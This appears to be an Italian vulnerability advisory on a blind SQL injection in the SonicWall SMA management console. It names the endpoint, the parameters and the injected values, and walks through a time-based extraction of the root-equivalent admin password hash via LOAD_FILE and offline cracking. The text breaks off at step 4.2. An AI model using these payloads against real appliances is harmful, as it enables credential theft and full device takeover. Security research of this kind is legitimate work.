
Neutralizzazione impropria di elementi speciali utilizzati in un comando SQL (“SQL Injection”) negli apparecchi della serie SonicWall SMA1000 consente a un attaccante remoto autenticato con privilegi di amministratore di sola lettura di aumentare i propri privilegi fino a diventare amministratore primario.
Una vulnerabilità di SQL injection blind post-autenticazione nella console di gestione SonicWall SMA 8200v (porta 8443) consente a qualsiasi amministratore autenticato — inclusi account di sola lettura con privilegi ridotti — di estrarre l'hash SHA-512 della password dell'amministratore principale dal file di configurazione dell'appliance. Poiché SonicWall utilizza le stesse credenziali sia per l'admin della console di gestione sia per l'account root del sistema operativo, il cracking di questo hash consente l'accesso completo a livello root all'appliance.
Classificazione: Escalation dei Privilegi (da admin con privilegi ridotti a Root) CVSS 3.1: 7.2 (Alto) — AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H Complessità dell'Attacco: Bassa (il PoC automatizzato completa l'estrazione in ~60-90 minuti) Prerequisiti: Qualsiasi credenziale valida della console di gestione (inclusi account di sola lettura)
| Componente | Dettagli |
|---|---|
| Piattaforma | SonicWall SMA 8200v (appliance virtuale) |
| Firmware | 12.5.0-02283 (confermato); probabilmente tutti i 12.x |
| Servizio | Console di Gestione — Jetty + Struts 2 (porta 8443) |
| Endpoint | POST /activeUsers.action |
| Parametri Vulnerabili | realmFilter, communityFilter (cross-parameter) |
| Classe della Causa Radice | com.aventail.mgmt.sql.Sql.safeParam() |
| Database | MariaDB 10.11.14, utente DbAdmin (TUTTI I PRIVILEGI + FILE) |
| File di Destinazione | /usr/local/app/mgmt-server/datastore/active/sysconf/avconfig.xml |
La console di gestione costruisce query SQL per la dashboard Utenti Attivi utilizzando un metodo helper safeParam() nella classe com.aventail.mgmt.sql.Sql. Questo metodo esegue l'escape degli apici singoli (') e degli apici doppi (") raddoppiandoli, ma non esegue l'escape dei caratteri backslash (\).
In MySQL/MariaDB, un backslash è il carattere di escape predefinito all'interno dei literal di stringa. La sequenza \' fa sì che il database interpreti l'apice singolo come carattere letterale anziché come terminatore di stringa. Ciò significa che un backslash alla fine di un valore di parametro eseguirà l'escape dell'apice di chiusura che l'applicazione aggiunge, facendo sì che il literal di stringa SQL si estenda nella sintassi adiacente.
Lacuna di sanitizzazione:```
Input: test
safeParam output: test\ (backslash NOT escaped)
In SQL: ... rt.name='test') AND (ct.name='...'
^^ backslash escapes the closing quote
Il carattere di chiusura `'` dopo `test\` viene consumato come carattere di virgoletta letterale all'interno della stringa, quindi il letterale di stringa SQL si estende attraverso il confine `) AND (ct.name='` e nel valore del parametro successivo, dove può essere iniettato SQL controllato dall'attaccante.
### 3.2 Meccanica dell'iniezione: Tecnica Cross-Parameter
L'endpoint `activeUsers.action` accetta più parametri di filtro che vengono interpolati in un'unica clausola SQL WHERE. I parametri rilevanti sono `realmFilter` e `communityFilter`, che compaiono in una query strutturata approssimativamente come:```sql
SELECT ... FROM ...
WHERE ...
AND (rt.name='<realmFilter>')
AND (ct.name='<communityFilter>')
...
Configurazione dei parametri di attacco:
| Parametro | Valore | Scopo |
|---|---|---|
realmFilter | test\ | La barra rovesciata finale fa da escape alla virgoletta di chiusura, estendendo il literal stringa oltre il confine AND |
communityFilter | )) OR (SELECT IF(<condizione>,SLEEP(N),0))-- x | Chiude le parentesi aperte, inietta un SLEEP condizionale, commenta il resto |
SQL risultante dopo l'interpolazione:```sql WHERE ... AND (rt.name='test') AND (ct.name=' )) OR (SELECT IF(,SLEEP(N),0))-- x')
Scomponendo il tutto:
1. `rt.name='test\')` — il `\` fa da escape per il `'`, quindi la stringa non si chiude qui
2. `AND (ct.name='` — diventa parte del valore della stringa (testo letterale)
3. La stringa si chiude definitivamente al successivo `'` (quello iniziale di `communityFilter`)
4. `))` — chiude le due parentesi aperte dalla struttura della clausola WHERE
5. `OR (SELECT IF(...))` — inietta la condizione di blind SQLi
6. `-- x` — commenta il resto della query SQL (`')` e le altre clausole)
### 3.3 Estrazione Blind Basata sul Tempo
Poiché la gestione degli errori di Struts 2 dell'applicazione intercetta le eccezioni SQL in modo elegante (restituendo sempre HTTP 200 con lo stesso contenuto della pagina indipendentemente dal successo o dal fallimento della query), i metodi di estrazione basati sugli errori e basati su UNION non sono praticabili. L'iniezione viene sfruttata utilizzando la tecnica blind basata sul tempo:
- **Condizione TRUE:** `IF(<condizione>, SLEEP(N), 0)` — risposta ritardata dalla durata di SLEEP moltiplicata per il numero di righe del set di risultati
- **Condizione FALSE:** Nessun SLEEP — la risposta torna in ~200-500ms
La funzione SLEEP viene eseguita per ogni riga nella valutazione della clausola WHERE. Con una tipica tabella di monitoraggio contenente 30-300+ righe, anche un piccolo valore di SLEEP (es. 0,3s) produce un ritardo chiaramente distinguibile (10-100s per TRUE vs. <1s per FALSE).
Ogni carattere dei dati target viene estratto tramite ricerca binaria sull'intervallo ASCII:```sql
ORD(SUBSTRING((<extraction_expr>), <position>, 1)) > <midpoint>
Questo richiede un massimo di 7 richieste per carattere (log2(128) = 7), per un totale di ~686 richieste per un hash SHA-512 di 98 caratteri.
PRIVILEGE ESCALATION CHAIN
============================================================================
[1] Authenticate Low-privilege admin (e.g., "readonly") | authenticates to management console on port 8443 | using "Local Authentication" realm v [2] SQL Injection Cross-parameter blind SQLi via activeUsers.action | realmFilter backslash + communityFilter payload | Condition: IF(, SLEEP(N), 0) v [3] LOAD_FILE() MariaDB DbAdmin user has FILE privilege | secure_file_priv=NULL does NOT block reads | avconfig.xml is group-readable (mode 664) v [4] Locate Hash LOCATE('consoleMode', file) anchors to admin section | LOCATE('', file, anchor) finds hash element | SUBSTRING + SUBSTRING_INDEX extracts hash value v [5] Extract Hash Binary search extracts hash char-by-char | ~98 chars * ~7 requests = ~686 requests | Output: $6$$ (SHA-512 crypt) v [6] Crack Hash hashcat -m 1800 / john --format=sha512crypt | Admin password = Root SSH password (by design) v [7] Full Compromise SSH as root, management console as admin Complete appliance takeover
### 4.2 Passaggio 1: Autenticazione
La console di gestione SMA supporta due realm di autenticazione: